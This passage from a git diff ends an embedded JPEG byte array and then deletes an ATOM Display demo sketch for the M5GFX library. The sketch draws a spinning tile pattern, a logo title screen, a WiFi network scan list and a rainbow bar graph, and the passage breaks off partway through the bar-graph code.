0xEF, 0xA0, 0x1C, 0x5D, 0x2B, 0x2D, 0xB7, 0xE5, 0x2C, -0x4F, 0xEC, 0x6F, 0xED, 0x5B, 0x0B, 0x51, 0x61, 0xB3, 0x2E, 0x19, 0xB7, 0x5C, 0x92, 0x2E, 0x6D, -0x3D, 0x99, 0x7E, 0x43, 0x96, 0xD4, 0xE7, 0x01, 0x70, 0xB0, 0x76, 0x4A, 0x21, 0x4A, 0xCB, 0x6B, -0x8E, 0xC5, 0xED, 0xAD, 0x79, 0xB4, 0xE9, 0x74, 0x8F, 0x7A, 0xC1, 0x4D, 0x4D, 0x26, 0x16, 0x0D, -0x49, 0x31, 0xBB, 0x75, 0xB3, 0x64, 0x68, 0x48, 0xC4, 0xA6, 0xBA, 0x86, 0xDB, 0x51, 0x9A, 0xBE, -0x43, 0x0C, 0x8C, 0x5B, 0x95, 0xF4, 0xF2, 0xA8, 0x98, 0xCB, 0x27, 0xAE, 0x10, 0x1B, 0x5A, 0x02, -0xA2, 0xC4, 0x83, 0x49, 0x08, 0x39, 0x82, 0x6D, 0x25, 0x87, 0xCB, 0xA1, 0xF2, 0x4F, 0x94, 0x90, -0xC6, 0x37, 0x86, 0x27, 0x26, 0xC5, 0x4A, 0x57, 0x52, 0x6E, 0x0E, 0xA7, 0x41, 0xF7, 0x22, 0xA0, -0x0D, 0x5F, 0x2F, 0x90, 0xCB, 0xA0, 0x4F, 0x91, 0xD9, 0x9C, 0x46, 0xD5, 0xA9, 0x6D, 0xAA, 0xED, -0x7A, 0x66, 0xBB, 0x16, 0x98, 0xB9, 0x6B, 0xC7, 0x2F, 0xB7, 0x80, 0xDA, 0x10, 0x65, 0xEB, 0x92, -0x38, 0x37, 0x05, 0xF2, 0x3C, 0xB8, 0x47, 0xA7, 0x50, 0x81, 0xD5, 0xBD, 0x7B, 0x43, 0xF3, 0x03, -0x93, 0xD4, 0x75, 0xDD, 0x19, 0xED, 0xAE, 0xCA, 0xC1, 0xC5, 0x2B, 0x80, 0x5C, 0xF6, 0xE3, 0x7C, -0xB4, 0x15, 0x21, 0xA2, 0xDF, 0x8A, 0x6D, 0x3E, 0xD7, 0x6B, 0x93, 0x11, 0x66, 0x0D, 0x76, 0xF3, -0x69, 0x84, 0x31, 0xC8, 0x13, 0x18, 0x64, 0x7D, 0x18, 0x32, 0x23, 0xE5, 0x1B, 0x31, 0xA7, 0x22, -0x5A, 0xF3, 0x28, 0x8F, 0x21, 0x40, 0x84, 0x85, 0x6F, 0x32, 0xB9, 0xE6, 0xBF, 0x3F, 0x58, 0xF1, -0x46, 0xB4, 0x24, 0x18, 0xAD, 0x44, 0x26, 0x34, 0x9F, 0x38, 0x20, 0x0A, 0x54, 0xB8, 0x57, 0x56, -0x24, 0x1A, 0xDD, 0x81, 0x43, 0x6D, 0x2A, 0xCA, 0x54, 0xCB, 0x38, 0xAE, 0xEC, 0x28, 0xD3, 0x3C, -0xC2, 0x13, 0x30, 0x8E, 0x2D, 0x29, 0xC5, 0x8A, 0x4B, 0x19, 0x90, 0x21, 0x21, 0xC9, 0x9D, 0xE5, -0xAD, 0x69, 0x5F, 0xB0, 0xF4, 0x6B, 0x91, 0x28, 0x24, 0xF2, 0x85, 0xE8, 0x11, 0x87, 0x03, 0xF1, -0x9A, 0x00, 0x1A, 0x01, 0x80, 0x2A, 0x57, 0x37, 0xF6, 0x1F, 0xFD, 0x80, 0x37, 0x97, 0xF8, 0x3C, -0xD9, 0x9F, 0xF2, 0x56, 0x6D, 0xC5, 0x2B, 0xD0, 0x68, 0xEF, 0xF6, 0x2A, 0xD3, 0xFF, 0x00, 0xE1, -0x73, 0x5F, 0xFF, 0x00, 0xCA, 0x78, 0x97, 0x14, 0xAE, 0xA3, 0xE2, 0x95, 0x07, 0x3A, 0x45, 0x56, -0xC4, 0x77, 0xA8, 0xFE, 0xD4, 0x76, 0x76, 0xCA, 0x41, 0x87, 0xFA, 0xC7, 0x78, 0xEC, 0xC9, 0xEE, -0x98, 0xD7, 0x38, 0xCE, 0x00, 0x7A, 0x37, 0x4D, 0x3B, 0xD5, 0xE8, 0xFC, 0xAB, 0x5B, 0x8A, 0x5B, -0x1E, 0x50, 0xA0, 0x26, 0x08, 0x96, 0xEB, 0x16, 0xDA, 0x75, 0xD8, 0x49, 0xDE, 0x3D, 0xA1, 0xC1, -0x0A, 0x80, 0xFA, 0xD2, 0xB0, 0x60, 0xCF, 0x88, 0x82, 0x53, 0xA9, 0x5D, 0x21, 0xD4, 0x35, 0xA5, -0x2E, 0x9F, 0x68, 0xDD, 0x75, 0x00, 0xB4, 0x97, 0xE5, 0x75, 0xE1, 0xA9, 0xF2, 0x09, 0xCE, 0x95, -0xDE, 0xA6, 0x19, 0xEF, 0xCA, 0xA5, 0x16, 0x5E, 0xAD, 0x49, 0x56, 0xD5, 0x26, 0x48, 0x16, 0x0C, -0x63, 0x33, 0x27, 0x1B, 0x60, 0x43, 0xD9, 0x22, 0x36, 0x69, 0x2A, 0x42, 0x31, 0x16, 0xAD, 0x0C, -0xD5, 0x22, 0xA2, 0x84, 0x22, 0xCE, 0x00, 0x84, 0xA5, 0x78, 0xFD, 0xFB, 0xFE, 0xDC, 0x5D, 0x2C, -0xFF, 0x00, 0x19, 0x57, 0xFF, 0x00, 0xFC, 0x3F, 0x76, 0xB3, 0x8A, 0x54, 0xB3, 0x71, 0x4A, 0x8D, -0xBE, 0xE3, 0x7F, 0xEA, 0x9E, 0xEC, 0x8B, 0xF8, 0x25, 0xD9, 0x5F, 0xF2, 0x96, 0x53, 0xC5, 0x2A, -0x16, 0x86, 0xBB, 0x6B, 0x62, 0xD3, 0xBD, 0x11, 0xEE, 0x07, 0x79, 0xE2, 0x8D, 0x31, 0xBD, 0x57, -0xAF, 0x5F, 0x1A, 0x29, 0xC6, 0x2D, 0x49, 0x90, 0xB7, 0x81, 0xD5, 0xD3, 0x47, 0xE9, 0x3B, 0xC2, -0x39, 0x1C, 0xAF, 0xEB, 0x6D, 0xEA, 0x9E, 0xBA, 0x16, 0xAB, 0x2D, 0x9F, 0xCB, 0xD9, 0xD3, 0x8F, -0xA6, 0x4B, 0x72, 0x27, 0xF8, 0x0E, 0x65, 0xD3, 0xB4, 0x8D, 0x90, 0x6B, 0x2B, 0x3A, 0xA2, 0x1F, -0xE2, 0xF2, 0xC5, 0xBC, 0x52, 0xAD, 0x90, 0x11, 0x04, 0x41, 0xC0, 0x83, 0x9C, 0x08, 0x22, 0xC6, -0x04, 0x11, 0x07, 0x38, 0xC8, 0x44, 0x1C, 0xE3, 0xD7, 0x19, 0xC6, 0x71, 0xEB, 0x8C, 0xE3, 0x38, -0xF4, 0xCE, 0x33, 0x8C, 0xFA, 0x67, 0x1F, 0xAE, 0x3D, 0x78, 0xA5, 0x7F, 0x78, 0xA5, 0x38, 0xA5, -0x45, 0x5E, 0xC4, 0xB3, 0xBB, 0xAB, 0xED, 0xDF, 0xAC, 0x57, 0xA4, 0xAD, 0x4E, 0x4A, 0x59, 0xDA, -0x35, 0x87, 0xB3, 0x14, 0xEE, 0xCE, 0xC9, 0xD0, 0xA9, 0x39, 0xB5, 0xAC, 0xF7, 0x47, 0x0D, 0x20, -0x0B, 0x61, 0x0E, 0x2B, 0x8B, 0x28, 0x49, 0x51, 0x1C, 0xE2, 0x24, 0xAA, 0x82, 0x84, 0xB5, 0x27, -0x16, 0x35, 0x62, 0x4C, 0xA3, 0x09, 0xC2, 0x3C, 0x92, 0x67, 0xB5, 0x4A, 0x95, 0x4E, 0x29, 0x51, -0x55, 0xA3, 0x0C, 0xEE, 0xED, 0xFB, 0xD5, 0xDC, 0xC3, 0x8A, 0xF6, 0xA7, 0x24, 0x2D, 0xEF, 0x7B, -0x5D, 0xAD, 0x8A, 0x59, 0x57, 0x2C, 0x42, 0xA5, 0x32, 0x37, 0x74, 0xC9, 0x7A, 0xFF, 0x00, 0xD5, -0xE4, 0x4A, 0x94, 0x35, 0xAA, 0x38, 0xA2, 0xC8, 0x5E, 0x42, 0x65, 0x84, 0x9A, 0x90, 0xF3, 0x52, -0x18, 0x70, 0x09, 0x52, 0x51, 0x84, 0x18, 0x20, 0x9A, 0x01, 0x80, 0x2A, 0x56, 0xF3, 0xD9, 0x7E, -0xC9, 0x34, 0xA7, 0x4F, 0x27, 0x0D, 0x75, 0xBE, 0xC7, 0xDE, 0x08, 0xAB, 0x59, 0xA3, 0xD4, 0x5D, -0x1C, 0xCD, 0xB5, 0x91, 0x4C, 0x26, 0xCA, 0x92, 0x09, 0x4C, 0x69, 0xC1, 0xD1, 0xE1, 0x99, 0x1B, -0x96, 0x57, 0xC3, 0x61, 0xB2, 0x36, 0xB2, 0x3C, 0xCE, 0x4C, 0x2E, 0xC9, 0xFE, 0x22, 0x85, 0x84, -0xAF, 0x06, 0x12, 0x79, 0x8C, 0x4A, 0x5A, 0x73, 0xD2, 0x9E, 0x7A, 0x95, 0xC5, 0xB5, 0x5D, 0x98, -0x9F, 0xB0, 0xCE, 0xC8, 0x28, 0x7D, 0x9A, 0xA4, 0xA1, 0xD6, 0x22, 0x6D, 0x51, 0xD2, 0xBA, 0x17, -0x63, 0xE2, 0x09, 0x2F, 0x99, 0xFD, 0x79, 0x32, 0xAC, 0x59, 0xAF, 0x5B, 0x97, 0x67, 0x9C, 0xA9, -0x64, 0x1F, 0x95, 0x2A, 0x06, 0x0B, 0x19, 0x82, 0x2F, 0x2D, 0x93, 0x43, 0x6B, 0x48, 0x8D, 0x4A, -0xEA, 0xE3, 0x2D, 0xB1, 0x08, 0x65, 0x22, 0x34, 0xB2, 0x48, 0xFE, 0xCA, 0xC2, 0xC6, 0xAD, 0xD0, -0x09, 0xD6, 0x2C, 0x0A, 0x95, 0x24, 0x5B, 0x4D, 0x71, 0x5B, 0xB4, 0x4D, 0x6E, 0x8E, 0xC4, 0xA8, -0x75, 0xA6, 0x63, 0xB5, 0x4A, 0x9B, 0x25, 0x2D, 0x84, 0xCE, 0xEB, 0x5A, 0xD6, 0x63, 0x11, 0x8B, -0xD9, 0xA8, 0x2B, 0xA3, 0x10, 0x3B, 0x1C, 0xFD, 0x30, 0xAE, 0xD9, 0xE7, 0x06, 0xB5, 0xC7, 0x6C, -0x89, 0x4B, 0x22, 0xE4, 0xCC, 0xE4, 0x27, 0xAD, 0xCE, 0x95, 0x43, 0x57, 0xC8, 0x10, 0xB8, 0xAF, -0x52, 0xD0, 0xFC, 0x6B, 0xA3, 0x5A, 0x56, 0x27, 0xA5, 0x2B, 0x81, 0x54, 0xF7, 0x8F, 0xA4, 0x79, -0x61, 0x72, 0x6D, 0xC4, 0x7B, 0x6C, 0xB3, 0x7A, 0x92, 0x80, 0x64, 0x25, 0xD4, 0x57, 0x6D, 0x2E, -0xD9, 0xB6, 0x5D, 0x91, 0x7B, 0x95, 0x9E, 0x5E, 0x4B, 0x45, 0x00, 0x6D, 0x86, 0x3B, 0x55, 0xC4, -0x47, 0x57, 0x3D, 0xAF, 0x56, 0x61, 0x0D, 0xE3, 0x75, 0x22, 0x5A, 0x7C, 0x25, 0x00, 0x94, 0x81, -0x4B, 0xAC, 0xA9, 0x1B, 0x78, 0x4D, 0x54, 0x05, 0x2B, 0xA0, 0xBA, 0xA7, 0xD7, 0xBB, 0x0F, 0x56, -0xB4, 0x03, 0x5D, 0xA9, 0x6B, 0x5D, 0x9D, 0x04, 0x5E, 0xC2, 0x64, 0x68, 0x9B, 0xCB, 0x24, 0xF0, -0x76, 0xA7, 0x12, 0x1D, 0xDB, 0x6B, 0x55, 0x96, 0xC5, 0xA3, 0x38, 0xB6, 0xC8, 0xAA, 0x50, 0x3A, -0xA4, 0xC8, 0xD0, 0xB8, 0xA5, 0xAA, 0x50, 0xCE, 0x52, 0xD7, 0x24, 0x2D, 0x6E, 0x30, 0xE6, 0xC5, -0x25, 0xC6, 0x02, 0x73, 0x62, 0x85, 0x08, 0x04, 0x9C, 0xF1, 0xA9, 0x5B, 0x43, 0xB0, 0x24, 0x4B, -0x1C, 0xB4, 0x33, 0x76, 0x9B, 0x9B, 0x92, 0x29, 0x5E, 0xE0, 0xBF, 0x51, 0x76, 0x49, 0x12, 0x14, -0x28, 0x88, 0x35, 0x52, 0xC5, 0xAB, 0x15, 0x53, 0x73, 0x32, 0x13, 0x24, 0x48, 0x94, 0x80, 0x8C, -0xF5, 0x2A, 0x54, 0x9E, 0x60, 0x09, 0x20, 0x82, 0x40, 0x33, 0x4E, 0x34, 0x61, 0x2C, 0xB0, 0x88, -0x62, 0xC6, 0x38, 0xA5, 0x67, 0xF4, 0xA1, 0x22, 0xB6, 0xFD, 0x35, 0xD4, 0x94, 0x0B, 0xD2, 0xA8, -0x44, 0xB9, 0x16, 0xB2, 0x50, 0xA9, 0x16, 0xA2, 0x56, 0x41, 0x89, 0x95, 0xA4, 0x56, 0x9A, 0xAB, -0x8A, 0x12, 0xA5, 0x2A, 0xA4, 0xC7, 0x04, 0x07, 0x27, 0x50, 0x9C, 0xE0, 0x0C, 0xA3, 0xC8, 0x34, -0x00, 0x30, 0xA3, 0x00, 0x22, 0xCC, 0x08, 0x46, 0x1C, 0xE3, 0x8A, 0x56, 0xBF, 0xEC, 0x7E, 0xE5, -0xB0, 0xA8, 0x4D, 0x20, 0xD8, 0xCB, 0x12, 0x9E, 0x62, 0x7A, 0x92, 0x5C, 0xF9, 0x82, 0x7E, 0x41, -0xA5, 0x19, 0xE3, 0xE8, 0x55, 0xB8, 0xB9, 0x1F, 0x74, 0xDB, 0xEF, 0x4D, 0x35, 0x1D, 0x46, 0xA7, -0x09, 0x91, 0x14, 0x72, 0x8F, 0x82, 0xD9, 0x62, 0xCE, 0x23, 0x4E, 0x8E, 0xEA, 0x30, 0x10, 0x12, -0x8D, 0xA1, 0x12, 0xE5, 0x6A, 0x4F, 0x4A, 0x9C, 0x83, 0x54, 0x14, 0xA5, 0x71, 0x25, 0x29, 0xD0, -0x07, 0x5D, 0x55, 0x65, 0x41, 0x59, 0x57, 0x2E, 0x90, 0x1B, 0x79, 0xF5, 0xEA, 0x17, 0x06, 0x8C, -0x47, 0xA4, 0x52, 0x26, 0x9D, 0xC0, 0xDC, 0xE8, 0x7A, 0x09, 0x44, 0x9D, 0xB9, 0xA1, 0x29, 0x32, -0x79, 0x59, 0x31, 0x68, 0x8E, 0xC0, 0xB0, 0x45, 0xD8, 0x07, 0x29, 0x90, 0x61, 0xCA, 0x40, 0xA1, -0xAE, 0x3E, 0xC6, 0xD0, 0xD0, 0x91, 0x4B, 0x91, 0xC5, 0x21, 0x6E, 0x48, 0x9F, 0x00, 0x20, 0x0A, -0x57, 0xEF, 0x4B, 0xF5, 0xE2, 0x2D, 0xD7, 0x9F, 0x62, 0x77, 0xDE, 0xAD, 0xD3, 0xD1, 0x79, 0x9B, -0x46, 0xB2, 0xED, 0xA5, 0x0B, 0x17, 0xDB, 0x7A, 0xE3, 0xEF, 0xA5, 0x76, 0x45, 0x8E, 0x92, 0x33, -0x7D, 0xD3, 0xF2, 0x36, 0xEA, 0x4F, 0x63, 0x19, 0x57, 0x4F, 0x2C, 0x79, 0x04, 0xD2, 0x4A, 0xBD, -0xD2, 0x6D, 0x0F, 0x96, 0x6B, 0xC4, 0xBD, 0x26, 0x24, 0x12, 0x83, 0xD4, 0x8B, 0xEA, 0xDE, 0xD2, -0x37, 0x14, 0x16, 0xF6, 0xE4, 0xE4, 0x10, 0xA5, 0x6F, 0x7E, 0xCC, 0x20, 0x56, 0x79, 0x09, 0xB5, -0x27, 0x6C, 0x29, 0xEA, 0xC6, 0x47, 0x76, 0x4B, 0x34, 0x6B, 0x66, 0x8B, 0xBC, 0x64, 0xD4, 0xFC, -0x24, 0xB2, 0x95, 0xD8, 0x76, 0x1D, 0x35, 0x30, 0xA6, 0x6D, 0xCA, 0x16, 0xE0, 0x6B, 0xAC, 0x59, -0x94, 0xA8, 0x46, 0x96, 0x47, 0x64, 0xC7, 0x63, 0x16, 0xC0, 0x6C, 0x28, 0x9C, 0x58, 0xD5, 0x89, -0x94, 0xCB, 0x55, 0x42, 0xCE, 0x89, 0x35, 0x19, 0x97, 0x87, 0xE6, 0xF0, 0x0D, 0x4A, 0xC5, 0xC0, -0x7B, 0xA9, 0xEB, 0x6E, 0xC6, 0x90, 0xC4, 0x61, 0x6C, 0xD7, 0xE3, 0xCB, 0x44, 0xEE, 0x68, 0xFE, -0xC7, 0x13, 0x6A, 0x82, 0x4D, 0xA8, 0xCD, 0x83, 0x82, 0x4B, 0x11, 0xCB, 0x24, 0x0E, 0x49, 0x59, -0xD0, 0x46, 0xDF, 0x9A, 0xA5, 0x95, 0x6B, 0x56, 0x58, 0x1C, 0xF0, 0xEC, 0xAC, 0x96, 0xF5, 0x22, -0x75, 0x39, 0x3A, 0x02, 0x0C, 0x17, 0xC9, 0x12, 0xDC, 0xA0, 0xF6, 0xAA, 0x12, 0x95, 0xEE, 0x7B, -0x7C, 0x6D, 0x71, 0x78, 0xEA, 0xB7, 0xB1, 0x76, 0xA6, 0x84, 0x0B, 0x5D, 0x5C, 0xD7, 0xE9, 0x66, -0xC8, 0xA5, 0x42, 0xDC, 0xDA, 0x94, 0xF5, 0xCB, 0xD6, 0xA9, 0x36, 0xA7, 0x94, 0x84, 0xA4, 0xE9, -0x11, 0xA5, 0x2C, 0xD5, 0x0A, 0x4F, 0x34, 0x59, 0xC0, 0x4B, 0x24, 0x92, 0xC6, 0x60, 0xC5, 0xFA, -0x04, 0x39, 0xCE, 0x78, 0xA5, 0x75, 0x02, 0x6A, 0xC2, 0x1D, 0x6D, 0xEB, 0x3A, 0x1A, 0x72, 0xD4, -0x8C, 0x25, 0x93, 0x40, 0xEC, 0x5A, 0x49, 0x05, 0x79, 0x3F, 0x88, 0x3D, 0x10, 0x3C, 0x25, 0x79, -0x8D, 0x49, 0xA0, 0xE4, 0xB0, 0x48, 0xD8, 0xDC, 0x08, 0x17, 0x8C, 0xF2, 0xB0, 0xA9, 0x02, 0xB5, -0x69, 0x0E, 0xF6, 0xE4, 0xA5, 0x29, 0xC6, 0x2F, 0x79, 0x63, 0x28, 0xE2, 0xC2, 0x30, 0xA9, 0x5C, -0x5B, 0xD5, 0xEC, 0x9A, 0xD9, 0x83, 0x43, 0x6D, 0x7D, 0x13, 0xBF, 0x07, 0x29, 0x90, 0x59, 0xFA, -0x1D, 0x27, 0x8F, 0xD6, 0x11, 0x6B, 0x66, 0x40, 0xDE, 0xB7, 0x09, 0xEF, 0xAD, 0x61, 0x95, 0x36, -0x2E, 0x77, 0xD6, 0x0B, 0x64, 0x2F, 0xC2, 0x4E, 0x16, 0xC7, 0x79, 0x78, 0xE0, 0x4D, 0x0B, 0x2B, -0x7B, 0x4D, 0x2A, 0x35, 0xAB, 0xD7, 0x21, 0xB2, 0x2B, 0x79, 0x1A, 0xF7, 0x43, 0x42, 0x27, 0xB4, -0xD9, 0x35, 0x4A, 0x94, 0x9E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, -0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, -0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x5F, 0xFF, -0xD9 -}; diff --git a/components/M5GFX/examples/Demo/AtomDisplay_Factory/AtomDisplay_Factory.ino b/components/M5GFX/examples/Demo/AtomDisplay_Factory/AtomDisplay_Factory.ino deleted file mode 100644 index 7cd9b2cc..00000000 --- a/components/M5GFX/examples/Demo/AtomDisplay_Factory/AtomDisplay_Factory.ino +++ /dev/null @@ -1,1124 +0,0 @@ -#include -#include -#include - -#include -#include - -#include "png_logo.h" -#include "jpg_image.h" - -/// Reducing the resolution can increase the drawing speed. -// M5AtomDisplay display(1920, 1080); - M5AtomDisplay display(1280, 720); -// M5AtomDisplay display(960, 540); -// M5AtomDisplay display(640, 360); -// M5AtomDisplay display(320, 180); - -// M5GFX display; // for use non ATOM Display. - -static int wifi_mode = 0; - - -static constexpr const int qsintab[256]={ - 0x8000,0x80c9,0x8192,0x825b,0x8324,0x83ee,0x84b7,0x8580, - 0x8649,0x8712,0x87db,0x88a4,0x896c,0x8a35,0x8afe,0x8bc6, - 0x8c8e,0x8d57,0x8e1f,0x8ee7,0x8fae,0x9076,0x913e,0x9205, - 0x92cc,0x9393,0x945a,0x9521,0x95e7,0x96ad,0x9773,0x9839, - 0x98fe,0x99c4,0x9a89,0x9b4d,0x9c12,0x9cd6,0x9d9a,0x9e5e, - 0x9f21,0x9fe4,0xa0a7,0xa169,0xa22b,0xa2ed,0xa3af,0xa470, - 0xa530,0xa5f1,0xa6b1,0xa770,0xa830,0xa8ef,0xa9ad,0xaa6b, - 0xab29,0xabe6,0xaca3,0xad5f,0xae1b,0xaed7,0xaf92,0xb04d, - 0xb107,0xb1c0,0xb27a,0xb332,0xb3ea,0xb4a2,0xb559,0xb610, - 0xb6c6,0xb77c,0xb831,0xb8e5,0xb999,0xba4d,0xbb00,0xbbb2, - 0xbc64,0xbd15,0xbdc6,0xbe76,0xbf25,0xbfd4,0xc082,0xc12f, - 0xc1dc,0xc288,0xc334,0xc3df,0xc489,0xc533,0xc5dc,0xc684, - 0xc72c,0xc7d3,0xc879,0xc91f,0xc9c3,0xca67,0xcb0b,0xcbae, - 0xcc4f,0xccf1,0xcd91,0xce31,0xced0,0xcf6e,0xd00b,0xd0a8, - 0xd144,0xd1df,0xd279,0xd313,0xd3ac,0xd443,0xd4db,0xd571, - 0xd606,0xd69b,0xd72f,0xd7c2,0xd854,0xd8e5,0xd975,0xda05, - 0xda93,0xdb21,0xdbae,0xdc3a,0xdcc5,0xdd4f,0xddd9,0xde61, - 0xdee9,0xdf6f,0xdff5,0xe07a,0xe0fd,0xe180,0xe202,0xe283, - 0xe303,0xe382,0xe400,0xe47d,0xe4fa,0xe575,0xe5ef,0xe668, - 0xe6e0,0xe758,0xe7ce,0xe843,0xe8b7,0xe92b,0xe99d,0xea0e, - 0xea7e,0xeaed,0xeb5b,0xebc8,0xec34,0xec9f,0xed09,0xed72, - 0xedda,0xee41,0xeea7,0xef0b,0xef6f,0xefd1,0xf033,0xf093, - 0xf0f2,0xf150,0xf1ad,0xf209,0xf264,0xf2be,0xf316,0xf36e, - 0xf3c4,0xf41a,0xf46e,0xf4c1,0xf513,0xf564,0xf5b3,0xf602, - 0xf64f,0xf69b,0xf6e6,0xf730,0xf779,0xf7c1,0xf807,0xf84d, - 0xf891,0xf8d4,0xf916,0xf956,0xf996,0xf9d4,0xfa11,0xfa4d, - 0xfa88,0xfac1,0xfafa,0xfb31,0xfb67,0xfb9c,0xfbd0,0xfc02, - 0xfc33,0xfc63,0xfc92,0xfcc0,0xfcec,0xfd17,0xfd42,0xfd6a, - 0xfd92,0xfdb8,0xfdde,0xfe01,0xfe24,0xfe46,0xfe66,0xfe85, - 0xfea3,0xfec0,0xfedb,0xfef5,0xff0e,0xff26,0xff3c,0xff52, - 0xff66,0xff79,0xff8a,0xff9b,0xffaa,0xffb8,0xffc4,0xffd0, - 0xffda,0xffe3,0xffeb,0xfff1,0xfff6,0xfffa,0xfffd,0xffff, -}; - -//Returns value -32K...32K -static int isin(int i) { - i=(i&1023); - if (i>=512) return -isin(i-512); - if (i>=256) i=(511-i); - return qsintab[i]-0x8000; -} - -static int icos(int i) { - return isin(i+256); -} - - -void trans_clear(void) -{ - static constexpr uint8_t xtbl[16] = { 0, 2, 2, 0, 1, 3, 3, 1, 1, 3, 3, 1, 0, 2, 2, 0 }; - static constexpr uint8_t ytbl[16] = { 0, 2, 0, 2, 1, 3, 1, 3, 0, 2, 0, 2, 1, 3, 1, 3 }; - int width = display.width() >> 2; - int height = display.height() >> 2; - for (int i = 0; i < 16; ++i) - { - int xpos = xtbl[i]; - for (int y = 0; y < height; ++y) - { - int ypos = (y<<2) + ytbl[i]; - for (int x = 0; x < width; ++x) - { - display.writeFillRectPreclipped((x<<2)+xpos,ypos,1,1,TFT_BLACK); - } - } - } -} - -void spin_tile(void) -{ - display.startWrite(); - display.setColorDepth(8); - display.fillScreen(TFT_BLACK); - int32_t lcd_width = display.width() >> 2; - int32_t lcd_height = display.height() >> 2; - uint32_t f = 0; - - uint8_t colors[8]; - for (int i = 0; i < 8; ++i) - { - uint32_t p = 0; - if (i & 1) p =0x03; - if (i & 2) p+=0x1C; - if (i & 4) p+=0xE0; - colors[i] = p; - } - - uint32_t p_dxx = 0; - uint32_t p_dxy = 0; - uint32_t p_dyx = 0; - uint32_t p_dyy = 0; - int rcos = 0; - int rsin = 0; - int zoom = 0; - int px = 0; - int py = 0; - - for (int i = 0; i < 256 && !wifi_mode; ++i) - { - uint32_t p_cxx = (zoom * ((px) * rcos - (py) * rsin) ) >> (20 - 8); - uint32_t p_cxy = (zoom * ((py) * rcos + (px) * rsin) ) >> (20 - 8); - ++f; - rcos=icos(f*3); - rsin=isin(f*3); - zoom=((isin(f*5)+0x10000)>>8)+128; - px=(isin(f)>>7)-110; - py=(icos(f)>>7)-110; - - uint32_t cxx = (zoom * ((px) * rcos - (py) * rsin) ) >> (20 - 8); - uint32_t cxy = (zoom * ((py) * rcos + (px) * rsin) ) >> (20 - 8); - uint32_t dxx = (zoom * (( 1) * rcos - ( 0) * rsin) ) >> (20 - 8); - uint32_t dxy = (zoom * (( 0) * rcos + ( 1) * rsin) ) >> (20 - 8); - uint32_t dyx = (zoom * (( 0) * rcos - ( 1) * rsin) ) >> (20 - 8); - uint32_t dyy = (zoom * (( 1) * rcos + ( 0) * rsin) ) >> (20 - 8); - for (uint32_t y = 0; y < lcd_height; y++) - { - uint32_t ypos = (y<<2); - p_cxx+=p_dxx; - p_cxy+=p_dxy; - cxx+=dxx; - cxy+=dxy; - uint32_t cx=cxx; - uint32_t cy=cxy; - uint32_t p_cx = p_cxx; - uint32_t p_cy = p_cxy; - uint32_t x = 0; - uint32_t prev_x = 0; - uint32_t prev_color = 0xAA; - bool flg = false; - do - { - p_cx+=p_dyx; - p_cy+=p_dyy; - cx+=dyx; - cy+=dyy; - auto color = ((cx^cy) >> 16) & 7; - bool diff = color != (((p_cx ^ p_cy) >> 16) & 7); - if (flg) - { - if (!diff || prev_color != color) - { - if (x) - { - display.writeFillRectPreclipped(prev_x<<2, ypos, (x - prev_x)<<2, 4, colors[prev_color]); - } - flg = diff; - prev_x = x; - prev_color = color; - } - } - else - { - if (diff) - { - flg = true; - prev_x = x; - prev_color = color; - } - } - } while (++x < lcd_width); - if (flg) - { - display.writeFillRect(prev_x<<2, ypos, (x - prev_x)<<2, 4, colors[prev_color]); - } - } - p_dxx = dxx; - p_dxy = dxy; - p_dyx = dyx; - p_dyy = dyy; - } - display.setColorDepth(16); -} - - -void title(void) -{ - display.clearClipRect(); - display.fillScreen(TFT_WHITE); - display.setColorDepth(24); - display.drawPng(png_logo, ~0u, 0, 0, display.width(), display.height()*2/3, 0, 0, 1.0f, 0.0f, datum_t::middle_center); - display.setColorDepth(16); - display.setTextColor(TFT_BLACK, TFT_LIGHTGRAY); - display.setTextSize(display.width() / 400); - display.setFont(&fonts::Orbitron_Light_32); - display.setTextDatum(textdatum_t::top_center); - int ypos = display.height()*2/3; - int xpos = (display.width()>>1); - int fontheight = display.fontHeight(); - display.setClipRect(0, ypos, display.width(), fontheight); - for (int i = fontheight; i >= 0; --i) - { - display.drawString("ATOM Display", xpos, ypos +i); - } - display.clearClipRect(); -} - -void setup_wifi_scan(void) -{ - display.fillScreen(TFT_WHITE); - display.setTextColor(TFT_BLACK, TFT_WHITE); - display.setTextSize(1); - display.setFont(&fonts::FreeSansBold24pt7b); - display.setCursor(20, 20); - display.printf("WiFi Scanning..."); -} - -void loop_wifi_scan(void) -{ - int n = WiFi.scanNetworks(); - display.setCursor(20, 20); - display.printf("Total : %d found.", n); - for (int i = 0; i < 16; i++) - { - display.setCursor(20, 80 + 48 * i); - display.setTextColor((WiFi.RSSI(i) > -70) ? TFT_BLUE : TFT_RED, TFT_WHITE); - display.fillRect(20, 80 + 48 * i, 1280, 48, TFT_WHITE); - display.printf("%d. %s : (%d)", i + 1, WiFi.SSID(i).c_str(), WiFi.RSSI(i)); - } -} - -uint16_t rainbow(int value) -{ - uint8_t red = 0; - uint8_t green = 0; - uint8_t blue = 0; - - uint8_t quadrant = value >> 5; - - if (quadrant == 0) { - blue = 31; - green = 2 * (value & 31); - red = 0; - } - if (quadrant == 1) { - blue = 31 - (value & 31); - green = 63; - red = 0; - } - if (quadrant == 2) { - blue = 0; - green = 63; - red = value & 31; - } - if (quadrant == 3) { - blue = 0; - green = 63 - 2 * (value & 31); - red = 31; - } - return (red << 11) + (green << 5) + blue; -} - -void bar_graph_demo(void) -{ - display.fillScreen(TFT_BLACK); - display.setFont(&fonts::Font0); - display.setTextSize(1); - display.setTextColor(TFT_WHITE, TFT_BLACK); - display.setColorDepth(16); - - int max_y[64]; - int prev_y[64]; - uint16_t colors[64]; - - memset(prev_y, 0x7F, 64 * sizeof(int)); - memset(max_y, 0x7F, 64 * sizeof(int)); - for (int x = 0; x < 64; ++x) - { - colors[x] = rainbow(x*2); - } - - int h = display.height(); - for (int i = 0; i < 512 && !wifi_mode; i++) - { - for (int x = 0; x < 64; ++x) - { - int y = (h>>1) - (sinf((float)((x-24)*i) / 543.0f) + sinf((float)((x-40)*i) / 210.0f)) * (h>>2); - - int xpos = x * display.width() / 64; - int w = ((x+1) * display.width() / 64) - xpos - 1; - if (max_y[x]+1 >= y) { max_y[x] = y-1; } - else - { - display.fillRect(xpos, max_y[x]-3, w, 1, TFT_BLACK); - 